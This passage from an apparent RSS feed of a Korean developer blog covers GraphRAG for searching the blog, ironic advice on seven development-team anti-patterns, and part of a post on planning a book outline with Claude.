&lt;th&gt;방식&lt;/th&gt;
&lt;th&gt;단순 질의&lt;/th&gt;
&lt;th&gt;관계 질의 (&quot;A를 인용한 B의 저자&quot;)&lt;/th&gt;
&lt;th&gt;비용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;벡터 RAG만&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;td&gt;자주 틀림&lt;/td&gt;
&lt;td&gt;저렴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키워드 검색만&lt;/td&gt;
&lt;td&gt;그럭저럭&lt;/td&gt;
&lt;td&gt;거의 불가능&lt;/td&gt;
&lt;td&gt;매우 저렴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GraphRAG (벡터+그래프)&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;정확하게 답함&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;물론 만능은 아닙니다. &lt;strong&gt;온톨로지 설계와 유지보수 비용&lt;/strong&gt;이 분명히 들고, 그래서 6편(회고)에서 한계도 솔직히 다루겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;이 시리즈에서 만들 것 — 블로그 자체 검색&lt;/h2&gt;
&lt;p&gt;추상적으로만 이야기하면 와닿지 않습니다. 이 시리즈에서는 제가 운영 중인 &lt;strong&gt;blog.javapark.kr의 글 검색&lt;/strong&gt;을 실제 예제로 삼겠습니다. 자기 블로그를 자기가 검색하는 다소 코믹한 그림이지만, 누구나 따라 해볼 수 있는 도메인이라는 게 장점입니다.&lt;/p&gt;
&lt;p&gt;이번 시리즈의 목표는 단순합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;블로그 글들을 &lt;strong&gt;온톨로지로 모델링&lt;/strong&gt;한다.&lt;/li&gt;
&lt;li&gt;글·태그·시리즈·저자를 &lt;strong&gt;지식 그래프에 적재&lt;/strong&gt;한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GraphRAG&lt;/strong&gt;로 &quot;Claude Code 시리즈의 첫 글에서 인용된 외부 자료&quot; 같은 질의를 처리한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;운영하며 배운 점&lt;/strong&gt;을 다음 사람을 위해 정리한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;스택은 아직 확정하지 않았습니다. 3편에서 Neo4j, GraphDB, Memgraph를 비교한 뒤 선택하려 합니다. 1~2편은 스택 무관한 &lt;strong&gt;개념·설계&lt;/strong&gt; 단계라 어느 스택을 쓰든 그대로 가져갈 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 편 예고 — 검색을 위한 온톨로지 설계&lt;/h2&gt;
&lt;p&gt;다음 편에서는 본격적인 &lt;strong&gt;온톨로지 설계&lt;/strong&gt;에 들어갑니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;도메인 분석 — 무엇을 검색할 것인가?&lt;/li&gt;
&lt;li&gt;클래스 후보 뽑기 — Post / Author / Tag / Series / Category&lt;/li&gt;
&lt;li&gt;속성과 관계 도출 — 어떤 질의를 처리해야 하는가에서 거꾸로 시작&lt;/li&gt;
&lt;li&gt;흔히 빠지는 함정 — 분류 vs 관계, 어느 쪽으로 모델링할까?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;설계는 늘 가장 어렵고, 잘못 잡으면 3편 구현이 통째로 뒤집힙니다. 다음 편을 꼼꼼히 잡고 가겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. 그냥 SQL 데이터베이스로 관계 모델링 하면 안 되나요?&lt;/strong&gt;
가능합니다. 실제로 작은 도메인에서는 그 편이 훨씬 빠릅니다. 하지만 관계가 다단계로 깊어지거나(예: &quot;A를 인용한 글의 저자가 쓴 시리즈&quot;), 동의어·상위어 같은 위계 추론이 필요한 순간 SQL JOIN은 급격히 무거워집니다. 그래프 DB는 그 지점부터 의미가 생깁니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 온톨로지가 너무 무겁다는 인상이 있는데, 작은 프로젝트에도 가치가 있나요?&lt;/strong&gt;
1인 블로그 정도는 솔직히 오버킬일 수 있습니다. 다만 LLM이 Cypher·SPARQL을 대신 생성해주는 지금은 &lt;strong&gt;설계 비용&lt;/strong&gt;이 가장 큽니다. 도메인이 명확하고 관계 질의가 많다면, 작아도 충분히 효과를 봅니다. 6편 회고에서 더 솔직히 다루겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. Microsoft의 GraphRAG와 이 시리즈의 방향이 같은가요?&lt;/strong&gt;
큰 그림은 같습니다. 다만 Microsoft GraphRAG는 &lt;strong&gt;LLM이 자동으로 그래프를 만들어내는&lt;/strong&gt; 접근이고, 이 시리즈는 &lt;strong&gt;온톨로지를 사람이 먼저 설계하고 데이터를 채우는&lt;/strong&gt; 전통적 접근에 더 가깝습니다. 4편에서 두 흐름을 비교합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 RAG 검색을 만들면서 어떤 한계에 부딪히고 계신가요? 댓글로 어떤 도메인을 다루시는지 알려주시면, 시리즈를 풀어가며 참고하겠습니다.&lt;/p&gt;
&lt;p&gt;다음 편에서 본격 설계 들어갑니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[개발팀을 망치는 방법 7가지 — 반대로만 하면 좋은 팀이 됩니다]]></title><description><![CDATA[개발팀을 망치는 방법…]]></description><link>https://blog.javapark.kr/team-anti-patterns/</link><guid isPermaLink="false">https://blog.javapark.kr/team-anti-patterns/</guid><pubDate>Fri, 15 May 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/team-anti-patterns.png&quot; alt=&quot;개발팀을 망치는 방법 7가지 — 반대로만 하면 좋은 팀이 됩니다&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;우리 팀, 뭔가 삐걱대는데 정확히 뭐가 문제인지는 모르겠어요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이런 느낌, 한 번쯤 받아보셨나요? 솔직히 말하면 저도 그랬습니다. 좋은 팀의 조건을 백 줄로 설명하는 글은 많은데, 막상 우리 팀에 대입하면 잘 안 와닿습니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 그래서 오늘은 방향을 뒤집어 보겠습니다. &lt;strong&gt;&quot;어떻게 하면 개발팀을 가장 확실하게 망칠 수 있을까?&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — 아래 7가지는 전부 &lt;strong&gt;반어법&lt;/strong&gt;입니다. 「How to Write Unmaintainable Code」가 그랬듯이, 망치는 방법을 정확히 알면 거꾸로 읽는 순간 그게 곧 좋은 팀 체크리스트가 됩니다. 내 팀에 몇 개나 해당하는지 세어보면서 읽어주세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. 코드 리뷰를 &quot;통과 의례&quot;로 만든다&lt;/h2&gt;
&lt;p&gt;가장 빠른 방법입니다. 리뷰어는 PR을 열자마자 &lt;strong&gt;&quot;LGTM 👍&quot;&lt;/strong&gt; 만 답니다. 읽지는 않습니다. 반대로 어떤 리뷰어는 들여쓰기와 변수명만 30개씩 지적하고 정작 설계 결함은 그냥 통과시킵니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 리뷰가 품질 장치가 아니라 &lt;strong&gt;요식 행위&lt;/strong&gt;가 됩니다. 버그는 그대로 배포되고, 리뷰 시간만 길어지고, 작성자는 &quot;어차피 안 읽을 거&quot; 라며 점점 큰 PR을 던집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — 리뷰는 &quot;맞고 틀림&quot;이 아니라 &lt;strong&gt;&quot;이 코드를 6개월 뒤의 내가 이해할 수 있는가&quot;&lt;/strong&gt; 를 묻는 자리입니다. 사소한 스타일은 &lt;strong&gt;린터·포매터에 위임&lt;/strong&gt;하고, 사람은 설계와 의도에만 집중합니다. PR은 작게(300줄 이하), 리뷰는 24시간 안에.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2. 모든 결정을 &quot;회의&quot;로만 내린다&lt;/h2&gt;
&lt;p&gt;캘린더를 회의로 가득 채우세요. 비동기 문서는 쓰지 않습니다. 결정의 근거는 회의실 공기 중에 흩어지게 두고, 회의에 못 들어온 사람은 &lt;strong&gt;&quot;왜 이렇게 됐는지&quot; 영원히 모르게&lt;/strong&gt; 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 집중 코딩 시간이 사라집니다. 같은 결정이 한 달 뒤 회의에서 다시 논의됩니다. 신규 입사자는 의사결정 히스토리를 따라잡을 방법이 없습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — 결정은 &lt;strong&gt;짧은 문서(ADR, 의사결정 기록)&lt;/strong&gt; 로 남깁니다. &quot;무엇을, 왜, 어떤 대안을 버렸는지&quot; 다섯 줄이면 충분합니다. 회의는 문서로 안 되는 것만. 기록이 남으면 회의가 줄고, 회의가 줄면 코드를 짤 시간이 생깁니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;3. 배포를 &quot;영웅 한 명&quot;에게 의존시킨다&lt;/h2&gt;
&lt;p&gt;배포는 그 사람만 할 수 있게 두세요. 절차는 그의 머릿속에만 있습니다. 자동화 제안이 나오면 &lt;strong&gt;&quot;지금도 잘 되는데 굳이?&quot;&lt;/strong&gt; 라고 답하면 됩니다. 그 사람이 휴가 가면 팀 전체가 멈춥니다 — 이게 핵심입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 버스 팩터(Bus Factor)가 1이 됩니다. 그 한 명이 병목이자 단일 장애점이 되고, 정작 본인은 번아웃됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — 배포는 &lt;strong&gt;누구나 한 줄로 실행할 수 있는 스크립트/파이프라인&lt;/strong&gt;이어야 합니다. &quot;신규 입사자가 첫날 배포해볼 수 있는가?&quot;가 좋은 기준입니다. 지식이 사람이 아니라 &lt;strong&gt;저장소에&lt;/strong&gt; 있어야 팀이 무너지지 않습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. &quot;바쁘다&quot;는 이유로 문서를 안 쓴다&lt;/h2&gt;
&lt;p&gt;문서 쓸 시간에 코드를 한 줄 더 짜라고 하세요. 설정 방법, 장애 대응 절차, 도메인 용어 — 전부 특정 사람들의 머릿속(트라이벌 날리지)에만 둡니다. 물어보면 알려주니까 괜찮다고 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 같은 질문이 슬랙에서 매주 반복됩니다. 그 사람이 퇴사하면 지식도 함께 퇴사합니다. &quot;바빠서 문서 못 쓴다&quot;던 팀이 &lt;strong&gt;문서가 없어서 더 바빠지는&lt;/strong&gt; 악순환에 들어갑니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — 문서는 완벽할 필요 없습니다. &lt;strong&gt;&quot;같은 질문을 두 번 받으면 답을 문서로 남긴다&quot;&lt;/strong&gt; 한 가지 규칙이면 충분합니다. README, 트러블슈팅 노트, 용어집 — 짧아도 검색되면 가치 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;5. 장애가 나면 &quot;범인&quot;부터 찾는다&lt;/h2&gt;
&lt;p&gt;장애 회고의 첫 질문을 &lt;strong&gt;&quot;누가 그랬어?&quot;&lt;/strong&gt; 로 시작하세요. 책임자를 특정하고, 다음부터 조심하라고 하면 됩니다. 그러면 다음부터 사람들은 &lt;strong&gt;실수를 숨기기 시작합니다&lt;/strong&gt; — 이게 진짜 효과입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 비난 문화(Blame Culture)가 자리 잡으면 아무도 위험한 작업을 자원하지 않고, 작은 사고도 보고되지 않다가 큰 사고로 터집니다. 심리적 안전감이 0에 수렴합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — &lt;strong&gt;비난 없는 포스트모템(Blameless Postmortem)&lt;/strong&gt; 을 합니다. 질문은 &quot;누가&quot;가 아니라 &lt;strong&gt;&quot;이 사람이 합리적으로 행동했는데도 왜 시스템이 사고를 허용했는가&quot;&lt;/strong&gt; 입니다. 사람을 고치는 게 아니라 시스템을 고칩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;6. 온보딩은 &quot;알아서 적응&quot;하게 둔다&lt;/h2&gt;
&lt;p&gt;신규 입사자에게 계정 몇 개 주고 &quot;코드 보면서 익히세요&quot; 라고 하세요. 첫 PR까지 2주가 걸리든 말든 방치합니다. 질문을 많이 하면 &lt;strong&gt;&quot;이런 것도 몰라?&quot;&lt;/strong&gt; 라는 분위기를 풍기면 완벽합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 입사 첫 한 달의 인상이 그 사람의 잔류를 결정합니다. 방치된 신규 입사자는 위축되고, 6개월 안에 떠납니다. 채용 비용이 통째로 날아갑니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — &lt;strong&gt;&quot;첫날 PR, 첫 주 배포&quot;&lt;/strong&gt; 를 목표로 온보딩 체크리스트를 만듭니다. 온보딩 문서는 신규 입사자가 직접 고치게 하세요 — 가장 정확한 문서 검수자는 방금 그 길을 걸은 사람입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;7. 기술 부채는 &quot;나중에&quot; 갚는다&lt;/h2&gt;
&lt;p&gt;리팩터링 제안이 나오면 &lt;strong&gt;&quot;일단 기능부터, 그건 나중에&quot;&lt;/strong&gt; 라고 답하세요. 그 &quot;나중&quot;은 절대 오지 않습니다. TODO 주석만 쌓이고, 아무도 손대기 무서운 코드 영역이 생기면 성공입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;실제로 벌어지는 일&lt;/strong&gt;: 기능 하나 추가하는 데 걸리는 시간이 분기마다 늘어납니다. 어느 순간 팀의 속도는 &quot;현상 유지&quot;에만 쓰입니다. 부채는 이자가 붙습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;반대로 하면&lt;/strong&gt; — 부채를 &lt;strong&gt;백로그에 티켓으로 가시화&lt;/strong&gt;하고, 매 스프린트 일정 비율(예: 20%)을 상환에 고정 배정합니다. &quot;갚을지 말지&quot;가 아니라 &lt;strong&gt;&quot;얼마씩 갚을지&quot;&lt;/strong&gt; 를 정하는 게 핵심입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;한눈에 보는 체크리스트&lt;/h2&gt;
&lt;p&gt;거꾸로 읽으면 그대로 좋은 팀의 조건입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;망치는 방법&lt;/th&gt;
&lt;th&gt;좋은 팀은 이렇게&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;LGTM 도장 찍는 리뷰&lt;/td&gt;
&lt;td&gt;스타일은 자동화, 사람은 설계에 집중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;모든 결정을 회의로&lt;/td&gt;
&lt;td&gt;결정은 짧은 문서로 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;영웅 한 명의 배포&lt;/td&gt;
&lt;td&gt;누구나 한 줄로 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;머릿속에만 있는 지식&lt;/td&gt;
&lt;td&gt;두 번 받은 질문은 문서로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;장애 = 범인 찾기&lt;/td&gt;
&lt;td&gt;비난 없는 포스트모템&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;알아서 적응하는 온보딩&lt;/td&gt;
&lt;td&gt;첫날 PR, 첫 주 배포&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;기술 부채는 나중에&lt;/td&gt;
&lt;td&gt;백로그에 가시화 + 정기 상환&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;내 팀에 &lt;strong&gt;3개 이상&lt;/strong&gt; 해당한다면, 그건 개인의 문제가 아니라 &lt;strong&gt;시스템의 신호&lt;/strong&gt;입니다. 사람을 다그치기 전에 위 표의 오른쪽 칸을 한 줄씩 도입해보세요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 요즘은 이 안티패턴들이 &lt;strong&gt;AI 도구와 만나 더 빨라지기도&lt;/strong&gt; 합니다. 검토 없이 AI가 만든 PR을 LGTM으로 통과시키거나, AI에게 시킨 작업의 결정 근거를 아무도 기록하지 않으면 — 1번과 2번이 동시에 가속됩니다. 도구가 좋아질수록 위 표의 오른쪽 칸이 더 중요해집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. 우리 팀은 7개 다 해당하는데, 어디부터 손대야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;5번(비난 문화)부터&lt;/strong&gt;입니다. 심리적 안전감이 없으면 나머지 6개를 고치자는 말 자체가 안 나옵니다. 비난을 멈추는 것이 모든 개선의 전제 조건입니다.&lt;/p&gt;
&lt;h3&gt;Q2. 작은 스타트업이라 문서·프로세스 만들 여유가 없어요.&lt;/h3&gt;
&lt;p&gt;규모가 작을수록 &lt;strong&gt;버스 팩터(3번·4번) 리스크가 치명적&lt;/strong&gt;입니다. 거창한 문서가 아니라 &quot;두 번 받은 질문은 한 단락으로 남긴다&quot; 한 줄 규칙부터 시작하세요. 비용은 거의 0입니다.&lt;/p&gt;
&lt;h3&gt;Q3. 리더가 아니라 팀원인데 바꿀 수 있나요?&lt;/h3&gt;
&lt;p&gt;바꿀 수 있습니다. 회고 때 &quot;누가&quot; 대신 &quot;어떤 시스템이&quot;라고 질문을 한 번 바꾸는 것, 받은 질문의 답을 슬랙이 아니라 README에 적는 것 — 권한 없이 할 수 있는 일부터가 변화의 시작입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;좋은 팀을 만드는 법은 추상적이지만, &lt;strong&gt;팀을 망치는 법은 구체적&lt;/strong&gt;입니다. 그래서 거꾸로 접근하는 게 때로 더 빠릅니다. 오늘 글에서 딱 하나만 가져가신다면 — &lt;strong&gt;&quot;문제가 반복되면 사람을 다그치지 말고 시스템을 의심하라&quot;&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;p&gt;여러분의 팀에는 위 7가지 중 &lt;strong&gt;몇 개&lt;/strong&gt;가 있나요? 그리고 가장 고치고 싶은 건 몇 번인가요? &lt;strong&gt;댓글로 남겨주시면&lt;/strong&gt; 다음 글에서 그 항목을 더 깊게 다뤄보겠습니다.&lt;/p&gt;
&lt;p&gt;다음에 또 뵙겠습니다. 자바파커였습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #3 — 차례 짜기: outline이 진실의 원천이다]]></title><description><![CDATA[Claude 책 만들기 #3 — 차례 짜기: outline…]]></description><link>https://blog.javapark.kr/book-making-03-table-of-contents/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-03-table-of-contents/</guid><pubDate>Sun, 10 May 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-03-table-of-contents.png&quot; alt=&quot;Claude 책 만들기 #3 — 차례 짜기: outline이 진실의 원천이다&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;차례를 짠 적이 없어서, 어디서부터 손을 대야 할지 모르겠어요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 시리즈를 시작하고 가장 자주 받은 질문입니다. 솔직히 저도 매번 헷갈립니다 — &lt;strong&gt;&quot;한 챕터에 어디까지 담아야 하지?&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;8주 동안 진짜 50p가 나올까?&quot;&lt;/strong&gt; 같은 질문이요.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 「나만의 책만들기」 8주 챌린지 &lt;strong&gt;3회차&lt;/strong&gt;입니다. &lt;a href=&quot;/book-making-01-getting-started/&quot;&gt;#1에서 도구·폴더&lt;/a&gt;를 잡고 &lt;a href=&quot;/book-making-02-concept/&quot;&gt;#2에서 콘셉트&lt;/a&gt;를 단단히 했다면, 오늘은 &lt;strong&gt;그 콘셉트를 8주 안에 어떻게 펼칠지&lt;/strong&gt; 차례로 옮기는 단계입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;outline(차례)은 단순한 목차가 아니라, 책 작업 모든 결정의 진실의 원천(single source of truth)&lt;/strong&gt; 입니다. 챕터를 추가하거나 옮기거나 합칠 때 항상 &lt;strong&gt;outline에서 먼저&lt;/strong&gt; 결정하고, 파일·문단은 그 결정을 따라옵니다. 이 순서가 흔들리면 8주가 흔들립니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 outline이 &quot;진실의 원천&quot;인가&lt;/h2&gt;
&lt;p&gt;저는 책 작업을 처음 시작했을 때 &lt;strong&gt;outline 없이 챕터 파일부터 만들었습니다.&lt;/strong&gt; 결과는 예상하셨을 겁니다 — 3주차쯤 되니 같은 내용이 두 챕터에 겹쳐 있고, 어떤 챕터는 1페이지짜리, 어떤 챕터는 15페이지짜리가 되어 있었습니다. &lt;strong&gt;&quot;이 책의 전체 모습이 머리에 안 그려진다&quot;&lt;/strong&gt; 는 게 가장 큰 문제였습니다.&lt;/p&gt;
&lt;p&gt;outline 한 장이 있으면 다음 세 가지가 한 번에 해결됩니다.&lt;/p&gt;
&lt;h3&gt;1. 전체 분량이 한눈에 보인다&lt;/h3&gt;
&lt;p&gt;8개 챕터 × 평균 6페이지 = &lt;strong&gt;50p&lt;/strong&gt;. 책의 크기가 차례에서 결정됩니다. 한 챕터가 두꺼워질 조짐이면 다른 챕터를 줄이거나, 아예 챕터를 분할해야 한다는 신호입니다.&lt;/p&gt;
&lt;h3&gt;2. 중복과 누락이 사전에 잡힌다&lt;/h3&gt;
&lt;p&gt;&quot;이 얘기는 #3에서 했나, #5에서 할까?&quot; 같은 고민이 사라집니다. &lt;strong&gt;차례가 답을 미리 갖고 있기 때문&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;3. 챕터 작업 순서가 자유로워진다&lt;/h3&gt;
&lt;p&gt;차례가 안 잡히면 무조건 1장부터 써야 합니다. 차례가 잡히면 &lt;strong&gt;준비된 챕터부터&lt;/strong&gt; 발행해도 책 전체가 흔들리지 않습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;빌드 인 퍼블릭의 안전장치&lt;/strong&gt; — 매주 한 챕터씩 공개로 발행할 때, outline이 있으면 &quot;이 글이 책 어디에 들어갈지&quot; 독자도 알 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;분량 잡기 — 50p, 8장이 왜 적정선인가&lt;/h2&gt;
&lt;h3&gt;분량의 기준선&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;분량&lt;/th&gt;
&lt;th&gt;형태&lt;/th&gt;
&lt;th&gt;작업 기간&lt;/th&gt;
&lt;th&gt;적합한 첫 책&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20p 이하&lt;/td&gt;
&lt;td&gt;리포트·소책자&lt;/td&gt;
&lt;td&gt;1~2주&lt;/td&gt;
&lt;td&gt;△ (책이라 부르기 애매)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;30~80p&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;전자책 표준&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6~10주&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;◎ (가장 추천)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100p 이상&lt;/td&gt;
&lt;td&gt;본격 단행본&lt;/td&gt;
&lt;td&gt;6개월~&lt;/td&gt;
&lt;td&gt;× (첫 책으로 부담)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;첫 책은 50p 안팎이 가장 안전합니다.&lt;/strong&gt; 8주에 한 챕터씩 약 6페이지를 쓰는 페이스가 — 일하면서, 다른 글도 쓰면서 — 무리 없이 굴러가는 거의 유일한 속도입니다.&lt;/p&gt;
&lt;h3&gt;8장이라는 숫자&lt;/h3&gt;
&lt;p&gt;8장은 마법의 숫자가 아닙니다. &lt;strong&gt;8주 챌린지에 1챕터 = 1주를 매핑&lt;/strong&gt;한 결과입니다. 5주 챌린지면 5장, 12주면 12장이 됩니다. &lt;strong&gt;시간 단위가 챕터 단위가 되는 것&lt;/strong&gt;이 가장 단순하고 어기지 않는 방식입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;8주가 부담스러우면 — 8장에서 다룰 &lt;strong&gt;&quot;8일 스프린트 모드&quot;&lt;/strong&gt; 가 대안입니다. 매일 1챕터씩 8일에 끝내는 압축 변형입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;챕터 분할의 황금률 — &quot;한 챕터 = 한 메시지&quot;&lt;/h2&gt;
&lt;p&gt;차례를 짤 때 가장 자주 빠지는 함정은 &lt;strong&gt;&quot;챕터 = 주제&quot;&lt;/strong&gt; 로 묶는 것입니다. 더 나은 기준은 &lt;strong&gt;&quot;챕터 = 한 줄로 말할 수 있는 메시지&quot;&lt;/strong&gt; 입니다.&lt;/p&gt;
&lt;h3&gt;나쁜 예 vs 좋은 예&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;나쁜 챕터 제목 (주제)&lt;/th&gt;
&lt;th&gt;좋은 챕터 제목 (메시지)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;도구 소개&lt;/td&gt;
&lt;td&gt;시작 전 준비 — &lt;strong&gt;도구 4가지면 충분하다&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;콘셉트&lt;/td&gt;
&lt;td&gt;콘셉트 잡기 — &lt;strong&gt;누가 읽을지부터 정한다&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;차례&lt;/td&gt;
&lt;td&gt;차례 짜기 — &lt;strong&gt;outline이 진실의 원천&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자료&lt;/td&gt;
&lt;td&gt;자료 모으기 — &lt;strong&gt;흩어진 글을 책 자료로&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;좋은 챕터 제목은 &lt;strong&gt;그 챕터의 주장을 한 줄에 담고 있습니다.&lt;/strong&gt; 챕터를 다 읽지 않아도 차례만 봐도 책이 무슨 말을 하려는지 알 수 있습니다.&lt;/p&gt;
&lt;h3&gt;한 챕터에 메시지가 둘이라면?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;둘로 나누세요.&lt;/strong&gt; 「나만의 책만들기」 8장은 원래 &quot;마무리 + 다음 책&quot;이라는 두 메시지였는데, &lt;strong&gt;부록 E (8일 스프린트 모드)&lt;/strong&gt; 를 분리해서 하나로 정리했습니다. 분리하지 않으면 챕터가 두꺼워지고 독자가 길을 잃습니다.&lt;/p&gt;
&lt;hr&gt;
